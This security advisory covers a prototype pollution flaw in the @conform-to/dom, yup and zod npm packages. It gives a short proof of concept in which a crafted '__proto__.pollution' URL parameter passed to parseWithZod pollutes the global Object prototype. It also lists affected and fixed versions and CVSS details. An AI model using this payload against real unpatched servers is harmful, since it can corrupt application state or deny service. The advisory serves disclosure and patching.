Conform contains a Prototype Pollution Vulnerability in `parseWith...` function
Summary
Conform allows the parsing of nested objects in the form of object.property. Due to an improper implementation of this feature, an attacker can exploit it to trigger prototype pollution by passing a crafted input to parseWith... functions.
PoC
const { parseWithZod } = require('@conform-to/zod');
const { z } = require("zod");
const param = new URLSearchParams("__proto__.pollution=polluted");
const schema = z.object({ "a": z.string() });
parseWithZod(param, { schema });
console.log("pollution:", ({}).pollution); // should print "polluted"Details
The invocation of the parseWithZod function in the above PoC triggers the setValue function through getSubmissionContext and parse, executing the following process, resulting in prototype pollution:
let pointer = value;
pointer.__proto__ = pointer.__proto__;
pointer = pointer.__proto__;
pointer.polluted = "polluted";This is caused by the lack of object existence checking on line 117 in formdata.ts, where the code only checks for the presence of pointer[key] without proper validation.
Impact
Applications that use conform for server-side validation of form data or URL parameters are affected by this vulnerability.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | @conform-to/dom | >= 1.0.0, < 1.1.1, < 0.9.2 | 1.1.1, 0.9.2 |
| npm package | @conform-to/yup | >= 1.0.0, < 1.1.1, < 0.9.2 | 1.1.1, 0.9.2 |
| npm package | @conform-to/zod | >= 1.0.0, < 1.1.1, < 0.9.2 | 1.1.1, 0.9.2 |
References
- https://github.com/edmundhung/conform/security/advisories/GHSA-624g-8qjg-8qxf
- https://nvd.nist.gov/vuln/detail/CVE-2024-32866
- https://github.com/edmundhung/conform/commit/4819d51b5a53fd5486fc85c17cdc148eb160e3de
- https://github.com/edmundhung/conform/commit/cb604dd58b99e2d12716d901a23bfca724e741ef
- https://github.com/edmundhung/conform
- https://github.com/edmundhung/conform/blob/59156d7115a7207fa3b6f8a70a4342a9b24c2501/packages/conform-dom/formdata.ts#L117
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H- Weakness (CWE)
CWE-1321- Platform
- npm
- Package
@conform-to/dom, @conform-to/yup, @conform-to/zod- Disclosed
- 23.04.2024
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-624g-8qjg-8qxf - CC BY 4.0
Vulnerability history: @conform-to/dom
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 2
- First → latest
- 04.2024 07.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 2
Disclosures per year
- 2024: 1
- 2025: 0
- 2026: 1
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Conform contains a Prototype Pollution Vulnerability in `parseWith...` function this entry
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